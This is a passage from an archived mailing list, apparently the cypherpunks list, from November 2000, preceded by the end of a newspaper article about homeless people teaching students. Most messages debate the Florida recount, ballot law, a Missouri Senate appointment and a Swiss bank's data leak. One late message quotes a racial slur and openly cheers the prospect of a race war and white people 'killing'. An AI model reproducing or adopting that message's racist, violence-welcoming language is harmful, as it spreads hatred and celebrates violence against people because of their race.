School of Education. "It can sharpen and form life directions," she says. "You can't become an auto mechanic without practicing on the car. It requires added work from the teacher..., a great deal of respect and planning." Firsthand insights Students agree, pointing to the advantages of gaining firsthand insights. "Both [of us] are students and teachers," says Eric Chapdelaine, a senior and biochemistry major at U-Mass. "I learned more in the one class [in which a homeless man] came and talked to us than I learned in all my four years. You meet these people on the streets and you realize that without parents or a support system you could easily become homeless." On the walk, a few students quietly stand over a man sleeping on a park bench in Boston Common. One places food and juice nearby. As they continue, Matthew describes the struggles of not having a roof to sleep under. He points to a tree where one homeless friend froze to death. He recalls retreats to spacious bathrooms in the John Hancock building to get some "peace and quiet." He also tells of sleeping in the winter over the heating grates outside the library. These personal stories are what students say they will remember most from the weekend. Yet some at first feel anxiety about the interactions, says their teacher, the Rev. Chris Carlisle. But he says they tend to walk away feeling "empowered to do something about it." The class "helps illuminate commonalities in a socioeconomic system that emphasizes differences." Bill, who has lived in a shelter for more than a year, explains that stereotyping the homeless is a common mistake. Just short of earning a PhD, he used to teach music in public schools. But he lost his home when he suffered from depression. "If someone tells you a homeless person is a bum with a dirty raincoat, a hat without a brim, and oily pants on, then what are you gonna say to them?" he asks the students. "It's not the case," students respond in unison. He's currently involved in work-placement programs and hopes to find a home soon. Educating students keeps him focused, he says, and he hopes they will work toward solutions. Some possibilities include strengthening job programs, building more affordable housing, and helping low-income people improve their credit, everyone agrees. Many homeless - who are typically single, minority males - have disabilities or addictions that keep them from working. Though some people without homes say they are unmotivated, a large number possess a drive to succeed but lack resources or education, adds Don, a war veteran who lives in a shelter. Don just started a merchandising job at Filene's Basement and hopes to have a place of his own soon. "I'm here because I didn't want to be sitting up there watching TV with all the other men and not doing anything," he says. As they leave, students discuss other solutions, which include putting decisionmakers in closer touch with the problems and creating programs that encourage changes in behavior. Matthew, for one, advocates as a temporary solution that churches open their doors to the homeless at night. But most important, students say they walk away with a newfound respect for homeless people. "I was just amazed at how active some of them are.... I don't know what they're not capable of," says Carl Gieringer, who traveled to Boston with his church group at Dartmouth. Jenna Sippel, a sophomore at U Mass, agrees. "It's totally humbling. These people have so much faith.... It makes me want to be like them." E-mail cooks at csps.com (c) Copyright 2000 The Christian Science Monitor. All rights reserved. Click here to email this story to a friend: http://www.csmonitor.com/cgi-bin/send-story?2000/10/31/text/p15s1.txt The Christian Science Monitor-- an independent daily newspaper providing context and clarity on national and international news, peoples and cultures, and social trends. Online at http://www.csmonitor.com Click here to order a free sample copy of the print edition of the Monitor: http://www.csmonitor.com/advertising/order_page.html From honig at sprynet.com Thu Nov 9 08:09:42 2000 From: honig at sprynet.com (David Honig) Date: Thu, 9 Nov 2000 11:09:42 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: References: <200011090351.WAA14142@www9.aa.psiweb.com> Message-ID: <3.0.5.32.20001109072144.00955b10@207.69.200.219> Maybe the UN will 'supervise' a second election.. maybe Yugoslav election advisors will be used... From honig at sprynet.com Thu Nov 9 08:09:43 2000 From: honig at sprynet.com (David Honig) Date: Thu, 9 Nov 2000 11:09:43 -0500 Subject: CDR: building codes, property rights (follow up) Message-ID: <3.0.5.32.20001109074849.0096a840@207.69.200.219> I asked a lawyer who does real estate development: >> I'm having a prolonged flame with someone, and I'm afraid they're right. >> I'm claiming there are regulations about what you must have *in your house >> (single-family dwelling) right now* vs. when you sell it. But I may >> be wrong. I've searched online law resources for regs about houses, >> but they all seem to be enforced only when you sell. Know any rules >> about equiptment you must have in modern houses? He replied: >The rules are generally construction rules set forth in the state and local >building codes; they are regulations, not statutes for the most. They cover >everything from structure (foundation thickness, earthquake requirements in >CA, wind load engineering standards in FL. As far as equipment, I don't >believe that the codes are too detailed. They all require smoke detectors. >Then there are equipment specific regulations, such as the 3.5 gal toilets, >the safety garage door openers. There are also separate electrical codes that >mandate wall outlets every so many feet, what kind of wiring can be used. >There are plumbing codes that will require a bathroom with a toilet, tub, >lavatory, etc. in each house. Some building codes go so far as to require >minimum kitchens, but many don't. Most building codes are applied only to >new construction, but also kick in when there is major reconstruction of an >old home, or if the home is rented to others. There are some requirements on >sale; in NY you would have to install a smoke detector in an old home in order >to sell it, and must give an affidavit to the buyer that it is in working >condition. So Tim is right --there are no constraints on his property, unless he wants to improve or sell it. Or the government needs it for a freeway... From honig at sprynet.com Thu Nov 9 08:09:43 2000 From: honig at sprynet.com (David Honig) Date: Thu, 9 Nov 2000 11:09:43 -0500 Subject: CDR: Re: BSA deploys imaginary pirate software detector vans In-Reply-To: Message-ID: <3.0.5.32.20001109080156.00965c70@207.69.200.219> At 08:09 AM 11/9/00 -0500, R. A. Hettinga wrote: > >Visitors to Glasgow Central Station yesterday were surprised to be >confronted by a Ford Transit van with a small radar and rusty Sky >satellite dish mounted on top. What was this apparition? Why, the >BSA's latest weapon in the war against software-stealing scum. Some gedankenartists should gather a few dishes on vans and drive around the MS campus, for yucks... What are the laws about libraries lending bits? Music CDs are common. Can you have a lending library of software? From alan at clueserver.org Thu Nov 9 11:40:10 2000 From: alan at clueserver.org (Alan Olsen) Date: Thu, 9 Nov 2000 11:40:10 -0800 (PST) Subject: CDR: Re: Reporting weirdness: Hagelin vs. Browne In-Reply-To: Message-ID: On Thu, 9 Nov 2000, Tim May wrote: > On CNN I watched the election results coming in. They always listed > four candidates: Bush, Gore, Nader, and Hagelin. The usual format was > Bush/Gore on the "crawl" at the bottom of the screen and then a > second page with the crawl having Nader/Hagelin. > > Sometimes Buchanan was listed. > > It sure looked like Hagelin was doing better than Browne, the > Libertarian Party candidate. > > Well, here's what the "Washington Post" is reporting as the nearly > final tally for the lesser candidates: > > Harry Browne (Lib.) 0 373,109 0 > Howard Phillips (CST) 0 98,224 0 > John Hagelin (NLP) 0 87,914 0 > James Harris (SWP) 0 11,190 0 > L. Neil Smith (Lib.) 0 5,181 0 > Monica Moorehead (WW) 0 4,245 0 > David McReynolds (Soc.) 0 4,097 0 Browne was the un-canidate in this election. The press went out of their way to avoid mentioning or reporting on him in any way, shape or form. When Harry Browne held a rally in Portland, the Oregonian (the newspaper for Portland) did not mention it at all. Buchannon (who gets MUCH less of the vote here than just about anyone) recieved much more press than he did. Maybe it is because he is not a member of the New Bavarian Conspiracy, the Conspiracy of Bavarian Seers, or the Ancient Baverian Conspiracy. It is similar to what happened with Measure 3 here. Measure 3 requires that they actually convict a person before walking off with everything he owned. During the election coverage, there was no mention of it even being on the ballot. I had to go to a web site that had the totals. It won by a 2 to 1 vote, yet was not declared as winning until the next morning, long after ballot measures with similar margins had been declared as having passed. And it was not just one station or newspaper that did it either. It was ignored by every station that I watched that night. (Which was most of them, because they kept repeating themselves after a while.) alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From George at Orwellian.Org Thu Nov 9 08:42:42 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 9 Nov 2000 11:42:42 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011091642.LAA28498@www4.aa.psiweb.com> Declan, King of the Wired, wrote: # TO VOTE for a candidate whose name is printed on the ballot, # mark a cross (X) in the blank space at the RIGHT of the name # of the candidate for whom you desire to vote. To vote for a # candidate whose name is not printed on the ballot, write the # candidate's name in the blank space provided for that purpose. Yep: that was clear. Declan, King of the Wired, wrote: # (As a followup, I should say I see "RIGHT" in the sample ballot, You're so cute! C'mere...coootchi-coootchie-coo!!! From George at Orwellian.Org Thu Nov 9 08:56:18 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 9 Nov 2000 11:56:18 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011091656.LAA29225@www4.aa.psiweb.com> And the lawsuit has been filed. http://interactive.wsj.com/articles/SB973731700780133282.htm # # November 9, 2000 # # Lawsuit to Recover Lost Gore Votes Overshadows the Recount in # Florida # # By GLENN R. SIMPSON, JACKIE CALMES and CHAD TERHUNE Staff # Reporters of THE WALL STREET JOURNAL # # Overshadowing a state ballot recount in the tightest presidential # election in memory, Democrats filed suit to help Al Gore recover # thousands of votes he may have lost because of a confusing ballot # in Palm Beach County. # # Democratic State Sen. Ron Klein and lawyer Jeffrey Liggio, # official observers in the Palm Beach County recount, said county # officials disqualified 19,120 presidential votes here on Tuesday # because voters selected more than one candidate. That is about # 4.14% of total votes cast in the county for president, an # unusually high figure, says Mr. Klein. # # The figures were confirmed by Carol Roberts, a county commissioner # and a member of the Palm Beach County canvassing board. She added # in an interview that ballots were rejected in the Florida Senate # contest at a far lower rate -- 0.82%. # # Democrats said they believe most of the disqualified votes were # cast for Al Gore and Pat Buchanan by confused voters who intended # to pick Mr. Gore, but inadvertently selected both men because # of the proximity of their names on the paper ballot. If they # are correct, the problem may have cost Mr. Gore a clear margin # of victory here statewide and could boost calls to overturn the # Florida results, which favored George W. Bush by less than 2,000 # votes. # # Late Wednesday, a suit was filed in Palm Beach County circuit # court by three local Democrats to force a new vote in the county # because of the allegedly confusing ballots. # # "It's pretty clear this ballot defect has thwarted the will of # the people in that county in an amount that would appear to be # in excess of the current margin between Bush and Gore statewide # -- well in excess," said Democratic ballot lawyer Chris Sautter, # an adviser to the Gore campaign who isn't involved in the suit. # # The layout of the ballot was intended to make it easier for # seniors to read. "Obviously, it didn't work that way," said Mr. # Klein. # # Democrats are exploring the possibility that the ballot design # violates state standards. An official in the governor's office # disputed the idea, saying the standards only apply to ballots # counted manually. # # Reeve Bright, a lawyer for the Republican Party of Palm Beach # County, conceded the 19,000 disqualified votes occurred. But # that doesn't mean the tossed-out votes were all for Gore, he # stressed. He added that he didn't know whether the total was # an unusually high one. # # "They're just blowing smoke," he said of Democrats' concerns. # "Are they trying to say the voters are that incompetent, that # they can't read and follow directions?" # # Complaints of ballot confusion and the lawsuit came as state # officials were outlining the process by which all 67 Florida # counties would recount the ballots cast Tuesday and help determine # which candidate wins the state's 25 electoral votes. As of # Wednesday morning, George W. Bush led by about 1,800 votes of # the nearly six million cast. # # "What happens here will determine the next presidency of the # United States," said Florida Attorney General Bob Butterworth. # # Appearing with Mr. Butterworth was Florida Gov. Jeb Bush, the # Republican candidate's brother. To avoid the appearance of a # conflict of interest, Jeb Bush said he won't serve on the # three-member state canvassing board that will meet to certify # final results after Florida counties complete their recount. # # State officials had set 5 p.m. Thursday as the deadline for the # recount, but the governor suggested a further wrinkle: An # estimated 3,000 ballots still arriving from Florida military # personnel abroad could further delay the outcome by as many as # 10 days. # # Florida's electoral votes would give either Mr. Bush or Mr. Gore # the election. Without Florida, Mr. Gore leads narrowly in the # national popular vote, and he carried enough states to compile # 260 electoral votes -- 10 shy of the 270 needed for an Electoral # College majority. Mr. Bush has 246 electoral votes. Besides # Florida, Oregon was also still too close to call Wednesday because # of delays in counting ballots in what was the state's first # mail-in presidential election. But Oregon's seven electoral votes # aren't enough to give either man the majority. # # Meanwhile, the two campaigns each dispatched a former U.S. # secretary of state -- Warren Christopher for Mr. Gore, and James # Baker for Mr. Bush -- to monitor events here. # # Locally, Florida's county officials were largely on their own # to figure out how to recount the votes in their areas. Many # expected the recount to take only a few hours, but scheduling # conflicts with their canvassing boards were causing delays. # # "Most of us were in at 5:30 a.m. and went home after midnight. # And now we're recreating yesterday. It will be a long night," # Marilyn Gerkin, supervisor of elections in Sarasota County, said. # # Democrat Kurt Browning, a Pasco County elections supervisor, # said a recount was almost certain to show differences from the # original count across the state, in part because of "hanging # chads." Those are bits of paper that sometimes cling to the punch # cards used in most of Florida's larger counties, filling in the # punch hole and effectively invalidating the voter's choice if # counted by machine. When counted by hand, it is easier to # distinguish the voter's selection and validate the ballot. # # In Orange County in Central Florida, Elections Supervisor Bill # Cowles was going through a few hundred rejected ballots by hand # with his canvassing board. The ballot-counting machines had thrown # out those ballots Tuesday because of stray pen marks or voters # choosing two candidates in the same race. They hadn't been counted # at all until Wednesday, so Mr. Gore and Mr. Bush stood to gain # a few votes. # # Once conducted, the ballot recounts will be submitted to the # state canvassing board, which, besides Florida Gov. Bush, includes # Secretary of State Katherine Harris and Division of Elections # Chief Clay Roberts. The secretary of state's office will name # a replacement for Gov. Bush. # # Any challenge of the results would likely require legal action, # for which both sides were preparing. Florida Democrats announced # a "voter fraud hotline" to collect complaints that could form # the basis of a challenge. # # Regarding the Palm Beach County lawsuit, local-elections # supervisor Theresa LePore said in a statement that her office # has an "unblemished record of public trust." We remain committed # to protecting this reputation," the statement continued. She # estimated the recount in Palm Beach County would take about six # hours after starting Wednesday afternoon. # # Others contend the ballot flap was nonsense. "This is a # manufactured controversy," says Rep. Mark Foley (R., Fla.), the # local congressman. Mr. Buchanan received 3,407 votes in Palm # Beach County yesterday and 8,788 votes there in the 1996 GOP # primary. So, Mr. Foley reasons, Tuesday's results aren't that # "out of whack." # # The problems in Palm Beach County echo the last statewide ballot # controversy in Florida, when Connie Mack beat Buddy MacKay for # a U.S. Senate seat in 1988. The design of the Palm Beach County # ballot was a major problem in that race as well. A recount did # not change the outcome, and though Democrats complained, they # did not take legal action. # # South Florida had a recent bout with voter fraud that triggered # tougher state laws in 1998 on voting by absentee ballot. # Investigations found rampant absentee-ballot fraud in the 1997 # Miami mayoral race, including vote-brokering and the buying and # selling of votes, and a court ordered a new election. The U.S. # Justice Department later rejected the state reforms, saying they # could discriminate against a high number of minority voters who # rely on absentee voting because of a lack of transportation or # the ability to get time off from work. From rah at shipwright.com Thu Nov 9 09:05:32 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 9 Nov 2000 12:05:32 -0500 Subject: CDR: Stars' bank details revealed on Internet Message-ID: So, boys and girls, which do you think is safer, bearer cash and negotiable securities stored anonymously all over the net in m-of-n hashes, or in a single bank account -- regardless of jurisdiction, for the sake of argument -- with web access? See? I knew you could... Cheers, RAH --------- CNN Stars' bank details revealed on Internet Roger Moore, a victim of Internet error November 9, 2000 Web posted at: 7:22 AM EST (1222 GMT) ZURICH, Switzerland -- The bank details of several show business stars, including former James Bond actor Roger Moore, were posted on the public Internet for a week as a result of an error by a Swiss bank. A technical glitch revealed the stars' secret bank account numbers, private addresses and money transfers on a Credit Suisse Group Web site, the bank acknowledged on Thursday. That meant that Internet users could get a rare glimpse into account details of such stars as Moore, Swiss entertainer DJ Bobo and German pop star Udo Juergens. The Swiss Blick newspaper said in a front-page story that several stars were affected by the inadvertent publication of details of 675 money transfers, but did not say exactly how many. Credit Suisse, Switzerland's second-largest bank, confirmed the report and said it had shut down a test Web site where the details appeared. 'First-class scandal' "We are investigating how exactly that could have happened and have closed down the page," CS spokesman Georg Soentgerath told CNN.com. "A third person put data in there which should never have gone in there. Unfortunately it could lead to a loss of confidence in the bank." The problem cropped up when a Swiss agency that coordinates royalty payments sent the confidential data to Credit Suisse as a test of its transfer system. But the numbers inexplicably appeared on the bank's Internet banking Web site, Direct.net. "This is a first-class scandal," Juergens told Blick. "How can I feel secure at such an institution?" "I am mad as hell. I am going to close my two accounts at CS," Swiss singer Polo Hofer was quoted as saying. Reuters contributed to this report. -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From jburnes at savvis.net Thu Nov 9 09:12:40 2000 From: jburnes at savvis.net (Jim Burnes) Date: Thu, 9 Nov 2000 12:12:40 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <200011082258.RAA01175@domains.invweb.net> References: <200011082258.RAA01175@domains.invweb.net> Message-ID: <00110823105602.02765@reality.eng.savvis.net> On Wed, 08 Nov 2000, William H. Geiger III wrote: > In <973697805.3a09730d4e448 at webmail.cotse.com>, on 11/08/00 > > at 09:36 AM, brflgnk at cotse.com said: > >If the citizens of Missouri chose to elect a deceased person as Senator, > >I think that's exactly what they should get. Leave the seat empty for > >two years. > > Someone had brought up the Constitutionality of having a dead man on the > ballot. The reasoning was that the deceased are no longer legally citizens > and therefore do not meet the Constitutional requirements for office. Even more significant is that a dead man cannot take the oath of office. If he can't take the oath of office he can't occupy the office. The governor only has the power to replace a senatoratorial position if the current office holder dies. Since Carnahan died before he took office, the office remains unfilled. The governor does not have power to appoint senators willy-nilly. The office must be held before it can be filled. The correct solution would be to hold a special election so that the public has a chance to know who they are voting into office. What the democrats are afraid of is that his wife might be less fit to hold that office than her husband in some democrat's minds (after debates etc). Here is a question? Would it be vote fraud to run one person's name on the ballot and replace him with someone else when he won? jim -- Sometimes it is said that man can not be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -- Thomas Jefferson, 1st Inaugural From obfuscation at beta.freedom.net Thu Nov 9 12:43:02 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Thu, 9 Nov 2000 12:43:02 -0800 Subject: CDR: Re: Reporting weirdness: Hagelin vs. Browne Message-ID: <200011092042.PAA04074@mail.virtual-estates.net> TCMay writes: > On CNN I watched the election results coming in. They always listed > four candidates: Bush, Gore, Nader, and Hagelin. The usual format was > Bush/Gore on the "crawl" at the bottom of the screen and then a > second page with the crawl having Nader/Hagelin. In fact, Browne did better than Buchanan in Florida, and for that matter Phillips did better than Hagelin. I too noticed CNN's bizarre focus on Hagelin over the much higher polling Browne and Phillips. Perhaps Hagelin acquired an aura of respectability at their editorial desk due to his fight with Buchanan for the Reform nomination. Buchanan beat Browne nationwide but Browne won in a number of states, including Florida. However Browne's vote total ended up being lower than in 1996. Ob From ernest at luminousnetworks.com Thu Nov 9 10:06:09 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Thu, 9 Nov 2000 13:06:09 -0500 Subject: CDR: RE: A very brief politcal rant Message-ID: <090825D1E60BD311B8390090276D5C4965DD02@galileo.luminousnetworks.com> Um ... this is a good technical argument, but it does not address the basic premise that what the voters wants is what the voters should get. There is no question what the voter wants. They knew ahead of time that they would be voting for a dead man's wife. The appointment may be technically flawed, but for a judge to throw this out would require finding a serious problem. Technicality is probably not a serious enough problem to go against the electorate. Ern -----Original Message----- X-Loop: openpgp.net From: Jim Burnes [mailto:jburnes at savvis.net] Sent: Thursday, November 09, 2000 9:13 AM To: Multiple recipients of list Subject: Re: A very brief politcal rant On Wed, 08 Nov 2000, William H. Geiger III wrote: > In <973697805.3a09730d4e448 at webmail.cotse.com>, on 11/08/00 > > at 09:36 AM, brflgnk at cotse.com said: > >If the citizens of Missouri chose to elect a deceased person as Senator, > >I think that's exactly what they should get. Leave the seat empty for > >two years. > > Someone had brought up the Constitutionality of having a dead man on the > ballot. The reasoning was that the deceased are no longer legally citizens > and therefore do not meet the Constitutional requirements for office. Even more significant is that a dead man cannot take the oath of office. If he can't take the oath of office he can't occupy the office. The governor only has the power to replace a senatoratorial position if the current office holder dies. Since Carnahan died before he took office, the office remains unfilled. The governor does not have power to appoint senators willy-nilly. The office must be held before it can be filled. The correct solution would be to hold a special election so that the public has a chance to know who they are voting into office. What the democrats are afraid of is that his wife might be less fit to hold that office than her husband in some democrat's minds (after debates etc). Here is a question? Would it be vote fraud to run one person's name on the ballot and replace him with someone else when he won? jim -- Sometimes it is said that man can not be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -- Thomas Jefferson, 1st Inaugural -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 3887 bytes Desc: not available URL: From declan at well.com Thu Nov 9 10:21:49 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 13:21:49 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <3.0.5.32.20001109072144.00955b10@207.69.200.219>; from honig@sprynet.com on Thu, Nov 09, 2000 at 11:09:42AM -0500 References: <200011090351.WAA14142@www9.aa.psiweb.com> <3.0.5.32.20001109072144.00955b10@207.69.200.219> Message-ID: <20001109134335.A26493@cluebot.com> This has been suggested; check out salon.com. --Declan On Thu, Nov 09, 2000 at 11:09:42AM -0500, David Honig wrote: > > Maybe the UN will 'supervise' a second election.. maybe Yugoslav election > advisors > will be used... > > > > > From edumaciel at hotmail.com Thu Nov 9 05:32:17 2000 From: edumaciel at hotmail.com (Eduardo Alencastro Maciel) Date: Thu, 09 Nov 2000 13:32:17 GMT Subject: CDR: One question about pgp-integration Message-ID: I've read the pgp-integration man page, and tried to implement the sample codes using the system calls. The encryption example was ok, but the decryption sample code I wasn't able to make it work well. Whenever I ran the program I got a core file, when the program try to open the second stream to stdout or stdin. I don't know if you have a tip for me. thanks eduardo _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From declan at well.com Thu Nov 9 10:44:55 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 13:44:55 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011091642.LAA28498@www4.aa.psiweb.com>; from George@orwellian.org on Thu, Nov 09, 2000 at 11:42:42AM -0500 References: <200011091642.LAA28498@www4.aa.psiweb.com> Message-ID: <20001109134454.B26493@cluebot.com> Amusing. But that's a suggested ballot, and not one that's legally required. Which was my point. At the very least, the law is not as clear as the Dems want to claim. -Declan On Thu, Nov 09, 2000 at 11:42:42AM -0500, George at orwellian.org wrote: > Declan, King of the Wired, wrote: > # TO VOTE for a candidate whose name is printed on the ballot, > # mark a cross (X) in the blank space at the RIGHT of the name > # of the candidate for whom you desire to vote. To vote for a > # candidate whose name is not printed on the ballot, write the > # candidate's name in the blank space provided for that purpose. > > Yep: that was clear. > > Declan, King of the Wired, wrote: > # (As a followup, I should say I see "RIGHT" in the sample ballot, > > You're so cute! C'mere...coootchi-coootchie-coo!!! > From jburnes at savvis.net Thu Nov 9 11:05:05 2000 From: jburnes at savvis.net (Jim Burnes) Date: Thu, 9 Nov 2000 14:05:05 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <090825D1E60BD311B8390090276D5C4965DD02@galileo.luminousnetworks.com> References: <090825D1E60BD311B8390090276D5C4965DD02@galileo.luminousnetworks.com> Message-ID: <00110901034307.02765@reality.eng.savvis.net> On Thu, 09 Nov 2000, you wrote: > > Um ... this is a good technical argument, but it does not address > the basic premise that what the voters wants is what the voters > should get. There is no question what the voter wants. They > knew ahead of time that they would be voting for a dead man's wife. > The appointment may be technically flawed, but for a judge to throw > this out would require finding a serious problem. Technicality is > probably not a serious enough problem to go against the electorate. > > Let me re-state what you have just said. The 'people' should get what the 'people' want irregardless of the law. Unfortunately what the people want is unclear here. If the people wanted the dead governors wife for senate they should have put her on the ballot. Playing the bait and switch game distorts the election outcome. What the people are getting is what the governor wants. Welcome to the people's paradise of Misery. If the people really want her, a special election should clear that up very quickly. It would be above board and not more Jefferson City scamming and corruption. I've seen first hand the intent and demeanor of St. Louis politics and its not pretty. This probably had much to do with his election. jim From ernest at luminousnetworks.com Thu Nov 9 11:28:39 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Thu, 9 Nov 2000 14:28:39 -0500 Subject: CDR: RE: A very brief politcal rant Message-ID: <090825D1E60BD311B8390090276D5C4965DD04@galileo.luminousnetworks.com> Are you arguing that there were people who did not know that they were voting for someone who was dead? Yes. I agree that the appointment may or may not be considered legal, depending upon how the law is interpreted. However, what is abundantly clear to me is that most, if not all, of the electorate know that the guy is dead. It was in the news for weeks. If anyone is suggesting that there is some bait and switch going on, let's see the evidence. Was there a news black out? Where the news papers destroyed? Radio stations cut off? TV frequencies jammed? Please note that it is not clear yet whether this particular corner case of the law is well-defined. The courts will decide that. The courts may very well be required to void this appointment for some important Constitutional reason. Who knows? My original point is that even if the courts find that the law is technically being violated, it may not necessarily void the appointment because the court may find that the violation is not serious enough to tell voters they cannot have what they want. Your statement about letting the voters have anything they want is clearly extreme and irrelevant in this case. This case is decided on subtleties of the law and the exceptional circumstances, not the extremes you are alluding to. Ern -----Original Message----- X-Loop: openpgp.net From: Jim Burnes [mailto:jburnes at savvis.net] Sent: Thursday, November 09, 2000 11:05 AM To: Multiple recipients of list Subject: Re: A very brief politcal rant On Thu, 09 Nov 2000, you wrote: > > Um ... this is a good technical argument, but it does not address > the basic premise that what the voters wants is what the voters > should get. There is no question what the voter wants. They > knew ahead of time that they would be voting for a dead man's wife. > The appointment may be technically flawed, but for a judge to throw > this out would require finding a serious problem. Technicality is > probably not a serious enough problem to go against the electorate. > > Let me re-state what you have just said. The 'people' should get what the 'people' want irregardless of the law. Unfortunately what the people want is unclear here. If the people wanted the dead governors wife for senate they should have put her on the ballot. Playing the bait and switch game distorts the election outcome. What the people are getting is what the governor wants. Welcome to the people's paradise of Misery. If the people really want her, a special election should clear that up very quickly. It would be above board and not more Jefferson City scamming and corruption. I've seen first hand the intent and demeanor of St. Louis politics and its not pretty. This probably had much to do with his election. jim -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 4621 bytes Desc: not available URL: From marc at mtjeff.com Thu Nov 9 14:38:42 2000 From: marc at mtjeff.com (Marc) Date: Thu, 9 Nov 2000 14:38:42 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <20001109103828.A24119@cluebot.com>; from declan@well.com on Thu, Nov 09, 2000 at 10:38:28AM -0500 References: <200011090351.WAA14142@www9.aa.psiweb.com> <20001109103828.A24119@cluebot.com> Message-ID: <20001109143842.A8687@mtjeff.com> On Thu, Nov 09, 2000 at 10:38:28AM -0500, Declan McCullagh wrote: > I haven't found such a requirement in Florida law. See below. > > -Declan > > ... > > In counties where paper ballots are used... > You quoted FL 101.011. However, FL 101.5609 is a much clearer point against the "must be to the right" claims. 101.5609(6): Voting squares may be placed in front of or in back of the names of candidates and statements of questions and shall be of such size as is compatible with the type of system used. Ballots and ballot information shall be printed in a size and style of type as plain and clear as the ballot spaces reasonably permit. Tear-off stubs shall be of a size suitable for the ballots used and for the requirements of the voting device. The ballots may contain special printed marks and holes as required for proper positioning and reading of the ballots by the automatic tabulating equipment. When ballots are bound into pads, they may be bound at the top or bottom or at either side. In the case of the paper ballots, all offices and questions may be printed on the same sheet of paper. On the other hand, I've heard claims that people realized their mistake and tried to get a new ballot but were refused. This is clearly illegal: 101.5608(2)(b) Any voter who spoils his or her ballot or makes an error may return the ballot to the election official and secure another ballot, except that in no case shall a voter be furnished more than three ballots. A spoiled ballot shall be preserved, without examination, in an envelope provided for that purpose. The stub shall be removed from the ballot and placed in an envelope. -- Marc From bill.stewart at pobox.com Thu Nov 9 14:41:30 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 09 Nov 2000 14:41:30 -0800 Subject: CDR: Re: Close Elections and Causality In-Reply-To: Message-ID: <3.0.5.32.20001109144130.00a94ab0@idiom.com> At 09:02 AM 11/9/00 -0800, Tim May wrote: [lots of good comments on causality....] >-- Someone will say that a highway being closed prevented them from >getting to the polling place in time, and that there additional vote >"would have made the difference." They want a re-vote. A few years ago, Christie Whitman was busy campaigning for governor of New Jersey, and didn't get back home to vote in a school bond election. It lost by one vote. (On the other hand, the local district or state or somebody ignored their loss in the election and sold the bonds anyway....) .... >Second, at the time of the "approximately simultaneous" vote on >Tuesday, no particular state, no particular county, and no particular >precinct had any way of "knowing" that it would be a hinge site. >Thus, some people didn't bother to vote, some were careless in >reading the ballot instructions, some just made random marks, some >were drunk, all of the usual stuff happening in polling places across >the country. This despite the estimated $3 billion spent on wooing >voters. The electoral college system means that in almost all states, except the one or two with the middlest results, a difference of a small number of votes doesn't change the outcome. Usually even changing the outcome for a whole state doesn't change the outcome of the election either, except a few big states. In Florida, where the vote totals are close to equal, a small number of changed votes could change the election. Arguably, the votes on the 19000 spoiled ballots _have_ changed the outcome of the election, because the vote went into the voting booth saying "I'm voting for Gore", and the ballot counters tossed those votes after they were made. .... >Rules are rules. The time to object is beforehand. Unless extremely >serious voter fraud is found, results should not be thrown out when >those results are in accordance with the rules. In no cases should a >re-vote of a "hinge county" be allowed for less-than-massive-fraud >reasons. I agree that that's a strong point - if any of those 19000 voters was confused, the time for them to raise the issue was at the poll. If they _did_ ask "hey, this is confusing, how do I vote for Gore?" at the polling place, and the poll workers told them what to do and voided their ballots anyway, then they've got a cause of action. If they didn't complain, it's much harder to argue. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tcmay at got.net Thu Nov 9 14:41:44 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 14:41:44 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011092224.RAA16615@www2.aa.psiweb.com> References: <200011092224.RAA16615@www2.aa.psiweb.com> Message-ID: At 5:24 PM -0500 11/9/00, George at Orwellian.Org wrote: > >Spooky Cypherpunk Niggar Tim May Moroned: ># And, of course, Palm County will _not_ be given a ># second chance to vote in this election. I guarantee it. > >It's either that or the choice you liked even less. Oh, I _like_ that other choice. Trust me. When I hear Jesse Jackson saying that unless the Palm Beach voters are given the chance to have a new vote there will be a race war, I rejoice. I was just reading in misc.survivalism that some folks in Florida are saying that if Al Gore and his Voters of Color succeed in twisting the courts into stealing the election, that white folks will start killing. Music to my ears. The fuse is burning on the powder keg. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From cabhop at highfiber.com Thu Nov 9 13:37:54 2000 From: cabhop at highfiber.com (Robert Huddleston) Date: Thu, 09 Nov 2000 15:37:54 -0600 Subject: No subject Message-ID: believer at 